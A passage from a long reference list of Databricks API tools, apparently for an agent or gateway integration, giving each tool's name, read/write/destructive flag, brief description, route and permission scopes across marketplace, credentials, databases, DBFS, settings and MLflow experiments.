/api/v1/tools/databricks/consumer-installations-delete. Scopes: marketplace:write. databricks_consumer_installations_list (read) — List all installations across all listings. GET /api/v1/tools/databricks/consumer-installations-list. Scopes: marketplace:read. databricks_consumer_installations_list_listing_installations (read) — List all installations for a particular listing. GET /api/v1/tools/databricks/consumer-installations-list-listing-installations. Scopes: marketplace:read. databricks_consumer_installations_update (write) — This is a update API that will update the part of the fields defined in the installation table as well as interact with external services according to the fields not included in the installation table 1. the token will be rotate if the rotateToken flag is... POST /api/v1/tools/databricks/consumer-installations-update. Scopes: marketplace:write. databricks_consumer_listings_batch_get (read) — Batch get a published listing in the Databricks Marketplace that the consumer has access to. GET /api/v1/tools/databricks/consumer-listings-batch-get. Scopes: marketplace:read. databricks_consumer_listings_get (read) — Get a published listing in the Databricks Marketplace that the consumer has access to. GET /api/v1/tools/databricks/consumer-listings-get. Scopes: marketplace:read. databricks_consumer_listings_list (read) — List all published listings in the Databricks Marketplace that the consumer has access to. GET /api/v1/tools/databricks/consumer-listings-list. Scopes: marketplace:read. databricks_consumer_listings_search (read) — Search published listings in the Databricks Marketplace that the consumer has access to. This query supports a variety of different search parameters and performs fuzzy matching. GET /api/v1/tools/databricks/consumer-listings-search. Scopes: marketplace:read. databricks_consumer_personalization_requests_create (write) — Create a personalization request for a listing. POST /api/v1/tools/databricks/consumer-personalization-requests-create. Scopes: marketplace:write. databricks_consumer_personalization_requests_get (read) — Get the personalization request for a listing. Each consumer can make at *most* one personalization request for a listing. GET /api/v1/tools/databricks/consumer-personalization-requests-get. Scopes: marketplace:read. databricks_consumer_personalization_requests_list (read) — List personalization requests for a consumer across all listings. GET /api/v1/tools/databricks/consumer-personalization-requests-list. Scopes: marketplace:read. databricks_consumer_providers_batch_get (read) — Batch get a provider in the Databricks Marketplace with at least one visible listing. GET /api/v1/tools/databricks/consumer-providers-batch-get. Scopes: marketplace:read. databricks_consumer_providers_get (read) — Get a provider in the Databricks Marketplace with at least one visible listing. GET /api/v1/tools/databricks/consumer-providers-get. Scopes: marketplace:read. databricks_consumer_providers_list (read) — List all providers in the Databricks Marketplace with at least one visible listing. GET /api/v1/tools/databricks/consumer-providers-list. Scopes: marketplace:read. databricks_credentials_create_credential (write) — Creates a new credential. The type of credential to be created is determined by the **purpose** field, which should be either **SERVICE** or **STORAGE**. The caller must be a metastore admin or have the metastore privilege **CREATE_STORAGE_CREDENTIAL** for... POST /api/v1/tools/databricks/credentials-create-credential. Scopes: catalog:write. databricks_credentials_delete_credential (write, destructive) — DESTRUCTIVE - Deletes a service or storage credential from the metastore. The caller must be an owner of the credential. POST /api/v1/tools/databricks/credentials-delete-credential. Scopes: catalog:write. databricks_credentials_generate_temporary_service_credential (write) — Returns a set of temporary credentials generated using the specified service credential. The caller must be a metastore admin or have the metastore privilege **ACCESS** on the service credential. POST /api/v1/tools/databricks/credentials-generate-temporary-service-credential. Scopes: catalog:write. databricks_credentials_get_credential (read) — Gets a service or storage credential from the metastore. The caller must be a metastore admin, the owner of the credential, or have any permission on the credential. GET /api/v1/tools/databricks/credentials-get-credential. Scopes: catalog:read. databricks_credentials_list_credentials (read) — Gets an array of credentials (as **CredentialInfo** objects). The array is limited to only the credentials that the caller has permission to access. If the caller is a metastore admin, retrieval of credentials is unrestricted. There is no guarantee of a... GET /api/v1/tools/databricks/credentials-list-credentials. Scopes: catalog:read. databricks_credentials_manager_exchange_token (write) — Exchange tokens with an Identity Provider to get a new access token. It allows specifying scopes to determine token permissions. POST /exchange-tokens/token is the documented public form, expressed via ``google.api.http`` below. GET... POST /api/v1/tools/databricks/credentials-manager-exchange-token. Scopes: settings:write. databricks_credentials_update_credential (write) — Updates a service or storage credential on the metastore. The caller must be the owner of the credential or a metastore admin or have the ``MANAGE`` permission. If the caller is a metastore admin, only the **owner** field can be changed. POST /api/v1/tools/databricks/credentials-update-credential. Scopes: catalog:write. databricks_credentials_validate_credential (write) — Validates a credential. For service credentials (purpose is **SERVICE**), either the **credential_name** or the cloud-specific credential must be provided. For storage credentials (purpose is **STORAGE**), at least one of **external_location_name** and... POST /api/v1/tools/databricks/credentials-validate-credential. Scopes: catalog:write. databricks_current_user_me (read) — Get details about the current method caller's identity. GET /api/v1/tools/databricks/current-user-me. Scopes: iam:read. databricks_dashboard_email_subscriptions_delete (write, destructive) — DESTRUCTIVE - Reverts the Dashboard Email Subscriptions setting to its default value. POST /api/v1/tools/databricks/dashboard-email-subscriptions-delete. Scopes: settings:write. databricks_dashboard_email_subscriptions_get (read) — Gets the Dashboard Email Subscriptions setting. GET /api/v1/tools/databricks/dashboard-email-subscriptions-get. Scopes: settings:read. databricks_dashboard_email_subscriptions_update (write) — Updates the Dashboard Email Subscriptions setting. POST /api/v1/tools/databricks/dashboard-email-subscriptions-update. Scopes: settings:write. databricks_dashboard_widgets_create (write) — Adds a widget to a dashboard. POST /api/2.0/preview/sql/widgets on Databricks. Requires dashboard_id, options, width. POST /api/v1/tools/databricks/dashboard-widgets-create. Scopes: sql:write. databricks_dashboard_widgets_delete (write, destructive) — DESTRUCTIVE - Removes a widget from a dashboard POST /api/v1/tools/databricks/dashboard-widgets-delete. Scopes: sql:write. databricks_dashboard_widgets_update (write) — Updates an existing widget. POST /api/2.0/preview/sql/widgets/{id} on Databricks. Requires id, dashboard_id, options, width. POST /api/v1/tools/databricks/dashboard-widgets-update. Scopes: sql:write. databricks_dashboards_delete (write, destructive) — DESTRUCTIVE - Moves a dashboard to the trash. Trashed dashboards do not appear in list views or searches, and cannot be shared. **Warning**: This API is deprecated. Please use the AI/BI Dashboards API instead. `Learn more `__ POST /api/v1/tools/databricks/dashboards-delete. Scopes: sql:write. databricks_dashboards_get (read) — Returns a JSON representation of a dashboard object, including its visualization and query objects. **Warning**: This API is deprecated. Please use the AI/BI Dashboards API instead. `Learn more `__ GET /api/v1/tools/databricks/dashboards-get. Scopes: sql:read. databricks_dashboards_list (read) — Fetch a paginated list of dashboard objects. **Warning**: Calling this API concurrently 10 or more times could result in throttling, service degradation, or a temporary ban. **Warning**: This API is deprecated. Please use the AI/BI Dashboards API instead... GET /api/v1/tools/databricks/dashboards-list. Scopes: sql:read. databricks_dashboards_restore (write) — A restored dashboard appears in list views and searches and can be shared. **Warning**: This API is deprecated. Please use the AI/BI Dashboards API instead. `Learn more `__ POST /api/v1/tools/databricks/dashboards-restore. Scopes: sql:write. databricks_dashboards_update (write) — Modify this dashboard definition. This operation only affects attributes of the dashboard object. It does not add, modify, or remove widgets. **Note**: You cannot undo this operation. **Warning**: This API is deprecated. Please use the AI/BI Dashboards API... POST /api/v1/tools/databricks/dashboards-update. Scopes: sql:write. databricks_data_classification_create_catalog_config (write) — Create Data Classification configuration for a catalog. Creates a new config resource, which enables Data Classification for the specified catalog. - The config must not already exist for the catalog. POST /api/v1/tools/databricks/data-classification-create-catalog-config. Scopes: catalog:write. databricks_data_classification_delete_catalog_config (write, destructive) — DESTRUCTIVE - Delete Data Classification configuration for a catalog. POST /api/v1/tools/databricks/data-classification-delete-catalog-config. Scopes: catalog:write. databricks_data_classification_get_catalog_config (read) — Get the Data Classification configuration for a catalog. GET /api/v1/tools/databricks/data-classification-get-catalog-config. Scopes: catalog:read. databricks_data_classification_update_catalog_config (write) — Update the Data Classification configuration for a catalog. - The config must already exist for the catalog. - Updates fields specified in the update_mask. Use update_mask field to perform partial updates of the configuration. POST /api/v1/tools/databricks/data-classification-update-catalog-config. Scopes: catalog:write. databricks_data_quality_cancel_refresh (write, destructive) — DESTRUCTIVE - Cancels a data quality monitor refresh. Currently only supported for the ``table`` ``object_type``. The call must be made in the same workspace as where the monitor was created. The caller must have either of the following sets of permissions... POST /api/v1/tools/databricks/data-quality-cancel-refresh. Scopes: catalog:write. databricks_data_quality_create_monitor (write) — Create a data quality monitor on a Unity Catalog object. The caller must provide either ``anomaly_detection_config`` for a schema monitor or ``data_profiling_config`` for a table monitor. For the ``table`` ``object_type``, the caller must have either of the... POST /api/v1/tools/databricks/data-quality-create-monitor. Scopes: catalog:write. databricks_data_quality_create_refresh (write) — Creates a refresh. Currently only supported for the ``table`` ``object_type``. The call must be made in the same workspace as where the monitor was created. The caller must have either of the following sets of permissions: 1. **MANAGE** and **USE_CATALOG**... POST /api/v1/tools/databricks/data-quality-create-refresh. Scopes: catalog:write. databricks_data_quality_delete_monitor (write, destructive) — DESTRUCTIVE - Delete a data quality monitor on Unity Catalog object. For the ``table`` ``object_type``, the caller must have either of the following sets of permissions: **MANAGE** and **USE_CATALOG** on the table's parent catalog. **USE_CATALOG** on the... POST /api/v1/tools/databricks/data-quality-delete-monitor. Scopes: catalog:write. databricks_data_quality_delete_refresh (write, destructive) — DESTRUCTIVE - (Unimplemented) Delete a refresh POST /api/v1/tools/databricks/data-quality-delete-refresh. Scopes: catalog:write. databricks_data_quality_get_monitor (read) — Read a data quality monitor on a Unity Catalog object. For the ``table`` ``object_type``, the caller must have either of the following sets of permissions: 1. **MANAGE** and **USE_CATALOG** on the table's parent catalog. 2. **USE_CATALOG** on the table's... GET /api/v1/tools/databricks/data-quality-get-monitor. Scopes: catalog:read. databricks_data_quality_get_refresh (read) — Get data quality monitor refresh. The call must be made in the same workspace as where the monitor was created. For the ``table`` ``object_type``, the caller must have either of the following sets of permissions: 1. **MANAGE** and **USE_CATALOG** on the... GET /api/v1/tools/databricks/data-quality-get-refresh. Scopes: catalog:read. databricks_data_quality_list_monitor (read) — (Unimplemented) List data quality monitors. GET /api/v1/tools/databricks/data-quality-list-monitor. Scopes: catalog:read. databricks_data_quality_list_refresh (read) — List data quality monitor refreshes. The call must be made in the same workspace as where the monitor was created. For the ``table`` ``object_type``, the caller must have either of the following sets of permissions: 1. **MANAGE** and **USE_CATALOG** on the... GET /api/v1/tools/databricks/data-quality-list-refresh. Scopes: catalog:read. databricks_data_quality_update_monitor (write) — Update a data quality monitor on Unity Catalog object. For the ``table`` ``object_type``, the caller must have either of the following sets of permissions: 1. **MANAGE** and **USE_CATALOG** on the table's parent catalog. 2. **USE_CATALOG** on the table's... POST /api/v1/tools/databricks/data-quality-update-monitor. Scopes: catalog:write. databricks_data_quality_update_refresh (write) — (Unimplemented) Update a refresh. PATCH /api/data-quality/v1/monitors/{object_type}/{object_id}/refreshes/{refresh_id} on Databricks. Requires object_type, object_id, refresh_id, update_mask. POST /api/v1/tools/databricks/data-quality-update-refresh. Scopes: catalog:write. databricks_data_sources_list (read) — Retrieves a full list of SQL warehouses available in this workspace. All fields that appear in this API response are enumerated for clarity. However, you need only a SQL warehouse's ``id`` to create new queries against it. **Warning**: This API is... GET /api/v1/tools/databricks/data-sources-list. Scopes: sql:read. databricks_database_create_database_catalog (write) — Create a Database Catalog. POST /api/2.0/database/catalogs on Databricks. POST /api/v1/tools/databricks/database-create-database-catalog. Scopes: database:write. databricks_database_create_database_instance (write) — Create a Database Instance. POST /api/2.0/database/instances on Databricks. POST /api/v1/tools/databricks/database-create-database-instance. Scopes: database:write. databricks_database_create_database_instance_role (write) — Create a role for a Database Instance. POST /api/2.0/database/instances/{instance_name}/roles on Databricks. Requires instance_name. POST /api/v1/tools/databricks/database-create-database-instance-role. Scopes: database:write. databricks_database_create_database_table (write) — Create a Database Table. Useful for registering pre-existing PG tables in UC. See CreateSyncedDatabaseTable for creating synced tables in PG from a source table in UC. POST /api/v1/tools/databricks/database-create-database-table. Scopes: database:write. databricks_database_create_synced_database_table (write) — Create a Synced Database Table. POST /api/2.0/database/synced_tables on Databricks. POST /api/v1/tools/databricks/database-create-synced-database-table. Scopes: database:write. databricks_database_delete_database_catalog (write, destructive) — DESTRUCTIVE - Delete a Database Catalog. POST /api/v1/tools/databricks/database-delete-database-catalog. Scopes: database:write. databricks_database_delete_database_instance (write, destructive) — DESTRUCTIVE - Delete a Database Instance. POST /api/v1/tools/databricks/database-delete-database-instance. Scopes: database:write. databricks_database_delete_database_instance_role (write, destructive) — DESTRUCTIVE - Deletes a role for a Database Instance. POST /api/v1/tools/databricks/database-delete-database-instance-role. Scopes: database:write. databricks_database_delete_database_table (write, destructive) — DESTRUCTIVE — Delete a Database Table. DELETE /api/2.0/database/tables/{name} on Databricks. Requires name. POST /api/v1/tools/databricks/database-delete-database-table. Scopes: database:write. databricks_database_delete_synced_database_table (write, destructive) — DESTRUCTIVE - Delete a Synced Database Table. POST /api/v1/tools/databricks/database-delete-synced-database-table. Scopes: database:write. databricks_database_failover_database_instance (write) — Failover the primary node of a Database Instance to a secondary. POST /api/v1/tools/databricks/database-failover-database-instance. Scopes: database:write. databricks_database_find_database_instance_by_uid (read) — Find a Database Instance by uid. GET /api/2.0/database/instances:findByUid on Databricks. GET /api/v1/tools/databricks/database-find-database-instance-by-uid. Scopes: database:read. databricks_database_generate_database_credential (write) — Generates a credential that can be used to access database instances. POST /api/v1/tools/databricks/database-generate-database-credential. Scopes: database:write. databricks_database_get_database_catalog (read) — Get a Database Catalog. GET /api/2.0/database/catalogs/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/database-get-database-catalog. Scopes: database:read. databricks_database_get_database_instance (read) — Get a Database Instance. GET /api/2.0/database/instances/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/database-get-database-instance. Scopes: database:read. databricks_database_get_database_instance_role (read) — Gets a role for a Database Instance. GET /api/2.0/database/instances/{instance_name}/roles/{name} on Databricks. Requires instance_name, name. GET /api/v1/tools/databricks/database-get-database-instance-role. Scopes: database:read. databricks_database_get_database_table (read) — Get a Database Table. GET /api/2.0/database/tables/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/database-get-database-table. Scopes: database:read. databricks_database_get_synced_database_table (read) — Get a Synced Database Table. GET /api/2.0/database/synced_tables/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/database-get-synced-database-table. Scopes: database:read. databricks_database_list_database_catalogs (read) — This API is currently unimplemented, but exposed for Terraform support. GET /api/v1/tools/databricks/database-list-database-catalogs. Scopes: database:read. databricks_database_list_database_instance_roles (read) — START OF PG ROLE APIs Section These APIs are marked a PUBLIC with stage < PUBLIC_PREVIEW. With more recent Lakebase V2 plans, we don't plan to ever advance these to PUBLIC_PREVIEW. These APIs will remain effectively undocumented/UI-only and we'll aim for a... GET /api/v1/tools/databricks/database-list-database-instance-roles. Scopes: database:read. databricks_database_list_database_instances (read) — List Database Instances. GET /api/2.0/database/instances on Databricks. GET /api/v1/tools/databricks/database-list-database-instances. Scopes: database:read. databricks_database_list_synced_database_tables (read) — This API is currently unimplemented, but exposed for Terraform support. GET /api/v1/tools/databricks/database-list-synced-database-tables. Scopes: database:read. databricks_database_update_database_catalog (write) — This API is currently unimplemented, but exposed for Terraform support. POST /api/v1/tools/databricks/database-update-database-catalog. Scopes: database:write. databricks_database_update_database_instance (write) — Update a Database Instance. PATCH /api/2.0/database/instances/{name} on Databricks. Requires name, update_mask. POST /api/v1/tools/databricks/database-update-database-instance. Scopes: database:write. databricks_database_update_database_instance_role (write) — Update a role for a Database Instance. PATCH /api/2.0/database/instances/{instance_name}/roles/{name} on Databricks. Requires instance_name, name. POST /api/v1/tools/databricks/database-update-database-instance-role. Scopes: database:write. databricks_database_update_synced_database_table (write) — This API is currently unimplemented, but exposed for Terraform support. POST /api/v1/tools/databricks/database-update-synced-database-table. Scopes: database:write. databricks_database_upgrade_instance_to_autoscaling (write) — Upgrade a Database Instance to Autoscaling. POST /api/v1/tools/databricks/database-upgrade-instance-to-autoscaling. Scopes: database:write. databricks_dbfs_add_block (write) — Appends a block of data to the stream specified by the input handle. If the handle does not exist, this call will throw an exception with ``RESOURCE_DOES_NOT_EXIST``. If the block of data exceeds 1 MB, this call will throw an exception with... POST /api/v1/tools/databricks/dbfs-add-block. Scopes: files:write. databricks_dbfs_close (write) — Closes the stream specified by the input handle. If the handle does not exist, this call throws an exception with ``RESOURCE_DOES_NOT_EXIST``. POST /api/v1/tools/databricks/dbfs-close. Scopes: files:write. databricks_dbfs_create (write) — Opens a stream to write to a file and returns a handle to this stream. There is a 10 minute idle timeout on this handle. If a file or directory already exists on the given path and **overwrite** is set to false, this call will throw an exception with... POST /api/v1/tools/databricks/dbfs-create. Scopes: files:write. databricks_dbfs_delete (write, destructive) — DESTRUCTIVE - Delete the file or directory (optionally recursively delete all files in the directory). This call throws an exception with ``IO_ERROR`` if the path is a non-empty directory and ``recursive`` is set to ``false`` or on other similar errors. When... POST /api/v1/tools/databricks/dbfs-delete. Scopes: files:write. databricks_dbfs_get_status (read) — Gets the file information for a file or directory. If the file or directory does not exist, this call throws an exception with ``RESOURCE_DOES_NOT_EXIST``. GET /api/v1/tools/databricks/dbfs-get-status. Scopes: files:read. databricks_dbfs_list (read) — List the contents of a directory, or details of the file. If the file or directory does not exist, this call throws an exception with ``RESOURCE_DOES_NOT_EXIST``. When calling list on a large directory, the list operation will time out after approximately... GET /api/v1/tools/databricks/dbfs-list. Scopes: files:read. databricks_dbfs_mkdirs (write) — Creates the given directory and necessary parent directories if they do not exist. If a file (not a directory) exists at any prefix of the input path, this call throws an exception with ``RESOURCE_ALREADY_EXISTS``. **Note**: If this operation fails, it... POST /api/v1/tools/databricks/dbfs-mkdirs. Scopes: files:write. databricks_dbfs_move (write) — Moves a file from one location to another location within DBFS. If the source file does not exist, this call throws an exception with ``RESOURCE_DOES_NOT_EXIST``. If a file already exists in the destination path, this call throws an exception with... POST /api/v1/tools/databricks/dbfs-move. Scopes: files:write. databricks_dbfs_put (write) — Uploads a file through the use of multipart form post. It is mainly used for streaming uploads, but can also be used as a convenient single call for data upload. Alternatively you can pass contents as base64 string. The amount of data that can be passed... POST /api/v1/tools/databricks/dbfs-put. Scopes: files:write. databricks_dbfs_read (read) — Returns the contents of a file. If the file does not exist, this call throws an exception with ``RESOURCE_DOES_NOT_EXIST``. If the path is a directory, the read length is negative, or if the offset is negative, this call throws an exception with... GET /api/v1/tools/databricks/dbfs-read. Scopes: files:read. databricks_default_namespace_delete (write, destructive) — DESTRUCTIVE - Deletes the default namespace setting for the workspace. A fresh etag needs to be provided in ``DELETE`` requests (as a query parameter). The etag can be retrieved by making a ``GET`` request before the ``DELETE`` request. If the setting is... POST /api/v1/tools/databricks/default-namespace-delete. Scopes: settings:write. databricks_default_namespace_get (read) — Gets the default namespace setting. GET /api/2.0/settings/types/default_namespace_ws/names/default on Databricks. GET /api/v1/tools/databricks/default-namespace-get. Scopes: settings:read. databricks_default_namespace_update (write) — Updates the default namespace setting for the workspace. A fresh etag needs to be provided in ``PATCH`` requests (as part of the setting field). The etag can be retrieved by making a ``GET`` request before the ``PATCH`` request. Note that if the setting... POST /api/v1/tools/databricks/default-namespace-update. Scopes: settings:write. databricks_default_warehouse_id_delete (write, destructive) — DESTRUCTIVE - Reverts the Default Warehouse Id setting to its default value. POST /api/v1/tools/databricks/default-warehouse-id-delete. Scopes: settings:write. databricks_default_warehouse_id_get (read) — Gets the Default Warehouse Id setting. GET /api/2.0/settings/types/default_warehouse_id/names/default on Databricks. GET /api/v1/tools/databricks/default-warehouse-id-get. Scopes: settings:read. databricks_default_warehouse_id_update (write) — Updates the Default Warehouse Id setting. POST /api/v1/tools/databricks/default-warehouse-id-update. Scopes: settings:write. databricks_disable_legacy_access_delete (write, destructive) — DESTRUCTIVE - Deletes legacy access disablement status. POST /api/v1/tools/databricks/disable-legacy-access-delete. Scopes: settings:write. databricks_disable_legacy_access_get (read) — Retrieves legacy access disablement Status. GET /api/v1/tools/databricks/disable-legacy-access-get. Scopes: settings:read. databricks_disable_legacy_access_update (write) — Updates legacy access disablement status. POST /api/v1/tools/databricks/disable-legacy-access-update. Scopes: settings:write. databricks_disable_legacy_dbfs_delete (write, destructive) — DESTRUCTIVE - Deletes the disable legacy DBFS setting for a workspace, reverting back to the default. POST /api/v1/tools/databricks/disable-legacy-dbfs-delete. Scopes: settings:write. databricks_disable_legacy_dbfs_get (read) — Gets the disable legacy DBFS setting. GET /api/2.0/settings/types/disable_legacy_dbfs/names/default on Databricks. GET /api/v1/tools/databricks/disable-legacy-dbfs-get. Scopes: settings:read. databricks_disable_legacy_dbfs_update (write) — Updates the disable legacy DBFS setting for the workspace. POST /api/v1/tools/databricks/disable-legacy-dbfs-update. Scopes: settings:write. databricks_disaster_recovery_create_failover_group (write) — Create a new failover group. POST /api/disaster-recovery/v1/{parent}/failover-groups on Databricks. Requires parent, failover_group_id. POST /api/v1/tools/databricks/disaster-recovery-create-failover-group. Scopes: account:write. databricks_disaster_recovery_create_stable_url (write) — Create a new stable URL. POST /api/disaster-recovery/v1/{parent}/stable-urls on Databricks. Requires parent, stable_url_id. POST /api/v1/tools/databricks/disaster-recovery-create-stable-url. Scopes: account:write. databricks_disaster_recovery_delete_failover_group (write, destructive) — DESTRUCTIVE — Delete a failover group. DELETE /api/disaster-recovery/v1/{name} on Databricks. Requires name. POST /api/v1/tools/databricks/disaster-recovery-delete-failover-group. Scopes: account:write. databricks_disaster_recovery_delete_stable_url (write, destructive) — DESTRUCTIVE — Delete a stable URL. DELETE /api/disaster-recovery/v1/{name} on Databricks. Requires name. POST /api/v1/tools/databricks/disaster-recovery-delete-stable-url. Scopes: account:write. databricks_disaster_recovery_failover_failover_group (write) — Initiate a failover to a new primary region. POST /api/v1/tools/databricks/disaster-recovery-failover-failover-group. Scopes: account:write. databricks_disaster_recovery_get_failover_group (read) — Get a failover group. GET /api/disaster-recovery/v1/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/disaster-recovery-get-failover-group. Scopes: account:read. databricks_disaster_recovery_get_stable_url (read) — Get a stable URL. GET /api/disaster-recovery/v1/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/disaster-recovery-get-stable-url. Scopes: account:read. databricks_disaster_recovery_list_failover_groups (read) — List failover groups. List entries are abbreviated: ``state`` and ``replication_point`` are not populated. Call GetFailoverGroup to retrieve the full resource. GET /api/v1/tools/databricks/disaster-recovery-list-failover-groups. Scopes: account:read. databricks_disaster_recovery_list_stable_urls (read) — List stable URLs for an account. GET /api/disaster-recovery/v1/{parent}/stable-urls on Databricks. Requires parent. GET /api/v1/tools/databricks/disaster-recovery-list-stable-urls. Scopes: account:read. databricks_disaster_recovery_update_failover_group (write) — Update a failover group. PATCH /api/disaster-recovery/v1/{name} on Databricks. Requires name, update_mask. POST /api/v1/tools/databricks/disaster-recovery-update-failover-group. Scopes: account:write. databricks_enable_export_notebook_get_enable_export_notebook (read) — Gets the Notebook and File exporting setting. GET /api/v1/tools/databricks/enable-export-notebook-get-enable-export-notebook. Scopes: settings:read. databricks_enable_export_notebook_patch_enable_export_notebook (write) — Updates the Notebook and File exporting setting. The model follows eventual consistency, which means the get after the update operation might receive stale values for some time. POST /api/v1/tools/databricks/enable-export-notebook-patch-enable-export-notebook. Scopes: settings:write. databricks_enable_notebook_table_clipboard_get_enable_notebook_table_clipboard (read) — Gets the Results Table Clipboard features setting. GET /api/v1/tools/databricks/enable-notebook-table-clipboard-get-enable-notebook-table-clipboard. Scopes: settings:read. databricks_enable_notebook_table_clipboard_patch_enable_notebook_table_clipboard (write) — Updates the Results Table Clipboard features setting. The model follows eventual consistency, which means the get after the update operation might receive stale values for some time. POST /api/v1/tools/databricks/enable-notebook-table-clipboard-patch-enable-notebook-table-clipboard. Scopes: settings:write. databricks_enable_results_downloading_get_enable_results_downloading (read) — Gets the Notebook results download setting. GET /api/v1/tools/databricks/enable-results-downloading-get-enable-results-downloading. Scopes: settings:read. databricks_enable_results_downloading_patch_enable_results_downloading (write) — Updates the Notebook results download setting. The model follows eventual consistency, which means the get after the update operation might receive stale values for some time. POST /api/v1/tools/databricks/enable-results-downloading-patch-enable-results-downloading. Scopes: settings:write. databricks_endpoints_create_endpoint (write) — Creates a new network connectivity endpoint that enables private connectivity between your network resources and Databricks services. After creation, the endpoint is initially in the PENDING state. The Databricks endpoint service automatically reviews and... POST /api/v1/tools/databricks/endpoints-create-endpoint. Scopes: compute:write. databricks_endpoints_delete_endpoint (write, destructive) — DESTRUCTIVE - Deletes a network endpoint. This will remove the endpoint configuration from Databricks. Depending on the endpoint type and use case, you may also need to delete corresponding network resources in your cloud provider account. POST /api/v1/tools/databricks/endpoints-delete-endpoint. Scopes: compute:write. databricks_endpoints_get_endpoint (read) — Gets details of a specific network endpoint. GET /api/v1/tools/databricks/endpoints-get-endpoint. Scopes: compute:read. databricks_endpoints_list_endpoints (read) — Lists all network connectivity endpoints for the account. GET /api/v1/tools/databricks/endpoints-list-endpoints. Scopes: compute:read. databricks_enhanced_security_monitoring_get (read) — Gets the enhanced security monitoring setting. GET /api/v1/tools/databricks/enhanced-security-monitoring-get. Scopes: settings:read. databricks_enhanced_security_monitoring_update (write) — Updates the enhanced security monitoring setting for the workspace. A fresh etag needs to be provided in ``PATCH`` requests (as part of the setting field). The etag can be retrieved by making a ``GET`` request before the ``PATCH`` request. If the setting is... POST /api/v1/tools/databricks/enhanced-security-monitoring-update. Scopes: settings:write. databricks_entity_tag_assignments_create (write) — Creates a tag assignment for an Unity Catalog entity. To add tags to Unity Catalog entities, you must own the entity or have the following privileges: - **APPLY TAG** on the entity - **USE SCHEMA** on the entity's parent schema - **USE CATALOG** on the... POST /api/v1/tools/databricks/entity-tag-assignments-create. Scopes: catalog:write. databricks_entity_tag_assignments_delete (write, destructive) — DESTRUCTIVE - Deletes a tag assignment for an Unity Catalog entity by its key. To delete tags from Unity Catalog entities, you must own the entity or have the following privileges: - **APPLY TAG** on the entity - **USE_SCHEMA** on the entity's parent schema... POST /api/v1/tools/databricks/entity-tag-assignments-delete. Scopes: catalog:write. databricks_entity_tag_assignments_get (read) — Gets a tag assignment for an Unity Catalog entity by tag key. GET /api/v1/tools/databricks/entity-tag-assignments-get. Scopes: catalog:read. databricks_entity_tag_assignments_list (read) — List tag assignments for an Unity Catalog entity PAGINATION BEHAVIOR: The API is by default paginated, a page may contain zero results while still providing a next_page_token. Clients must continue reading pages until next_page_token is absent, which is the... GET /api/v1/tools/databricks/entity-tag-assignments-list. Scopes: catalog:read. databricks_entity_tag_assignments_update (write) — Updates an existing tag assignment for an Unity Catalog entity. To update tags to Unity Catalog entities, you must own the entity or have the following privileges: - **APPLY TAG** on the entity - **USE SCHEMA** on the entity's parent schema - **USE... POST /api/v1/tools/databricks/entity-tag-assignments-update. Scopes: catalog:write. databricks_environments_batch_get_workspace_base_environments (read) — Retrieves multiple WorkspaceBaseEnvironments by name in a single call. The operation is atomic: it either returns all of the requested environments or fails. GET /api/v1/tools/databricks/environments-batch-get-workspace-base-environments. Scopes: compute:read. databricks_environments_create_workspace_base_environment (write) — Creates a new WorkspaceBaseEnvironment. This is a long-running operation. The operation will asynchronously generate a materialized environment to optimize dependency resolution and is only marked as done when the materialized environment has been... POST /api/v1/tools/databricks/environments-create-workspace-base-environment. Scopes: compute:write. databricks_environments_delete_workspace_base_environment (write, destructive) — DESTRUCTIVE - Deletes a WorkspaceBaseEnvironment. Deleting a base environment may impact linked notebooks and jobs. This operation is irreversible and should be performed only when you are certain the environment is no longer needed. POST /api/v1/tools/databricks/environments-delete-workspace-base-environment. Scopes: compute:write. databricks_environments_get_default_workspace_base_environment (read) — Gets the default WorkspaceBaseEnvironment configuration for the workspace. Returns the current default base environment settings for both CPU and GPU compute. GET /api/v1/tools/databricks/environments-get-default-workspace-base-environment. Scopes: compute:read. databricks_environments_get_operation (read) — Gets the status of a long-running operation. Clients can use this method to poll the operation result. GET /api/v1/tools/databricks/environments-get-operation. Scopes: compute:read. databricks_environments_get_workspace_base_environment (read) — Retrieves a WorkspaceBaseEnvironment by its name. GET /api/v1/tools/databricks/environments-get-workspace-base-environment. Scopes: compute:read. databricks_environments_list_workspace_base_environments (read) — Lists all WorkspaceBaseEnvironments in the workspace. Databricks provides the following base environments: - ``workspace-base-environments/databricks_ai_...``: includes popular AI and deep learning packages for serverless GPU compute. -... GET /api/v1/tools/databricks/environments-list-workspace-base-environments. Scopes: compute:read. databricks_environments_refresh_workspace_base_environment (write) — Refreshes the materialized environment for a WorkspaceBaseEnvironment. This is a long-running operation. The operation will asynchronously regenerate the materialized environment and is only marked as done when the materialized environment has been... POST /api/v1/tools/databricks/environments-refresh-workspace-base-environment. Scopes: compute:write. databricks_environments_update_default_workspace_base_environment (write) — Updates the default WorkspaceBaseEnvironment configuration for the workspace. Sets the specified base environments as the workspace defaults for CPU and/or GPU compute. POST /api/v1/tools/databricks/environments-update-default-workspace-base-environment. Scopes: compute:write. databricks_environments_update_workspace_base_environment (write) — Updates an existing WorkspaceBaseEnvironment. This is a long-running operation. The operation will asynchronously regenerate the materialized environment and is only marked as done when the materialized environment has been successfully generated or has... POST /api/v1/tools/databricks/environments-update-workspace-base-environment. Scopes: compute:write. databricks_experiments_create_experiment (write) — Creates an experiment with a name. Returns the ID of the newly created experiment. Validates that another experiment with the same name does not already exist and fails if another experiment with the same name already exists. Throws... POST /api/v1/tools/databricks/experiments-create-experiment. Scopes: ml:write. databricks_experiments_create_logged_model (write) — Create a logged model. POST /api/2.0/mlflow/logged-models on Databricks. Requires experiment_id. POST /api/v1/tools/databricks/experiments-create-logged-model. Scopes: ml:write. databricks_experiments_create_run (write) — Creates a new run within an experiment. A run is usually a single execution of a machine learning or data ETL pipeline. MLflow uses runs to track the ``mlflowParam``, ``mlflowMetric``, and ``mlflowRunTag`` associated with a single execution. POST /api/v1/tools/databricks/experiments-create-run. Scopes: ml:write. databricks_experiments_delete_experiment (write, destructive) — DESTRUCTIVE - Marks an experiment and associated metadata, runs, metrics, params, and tags for deletion. If the experiment uses FileStore, artifacts associated with the experiment are also deleted. POST /api/v1/tools/databricks/experiments-delete-experiment. Scopes: ml:write. databricks_experiments_delete_logged_model (write, destructive) — DESTRUCTIVE — Delete a logged model. DELETE /api/2.0/mlflow/logged-models/{model_id} on Databricks. Requires model_id. POST 